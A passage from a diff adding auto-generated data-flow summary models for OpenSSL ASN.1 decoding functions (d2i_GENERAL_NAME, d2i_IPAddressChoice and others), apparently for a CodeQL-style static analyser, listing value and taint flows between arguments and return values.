**,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAME", "(GENERAL_NAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GENERAL_NAMES", "(GENERAL_NAMES **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_GOST_KX_MESSAGE", "(GOST_KX_MESSAGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char 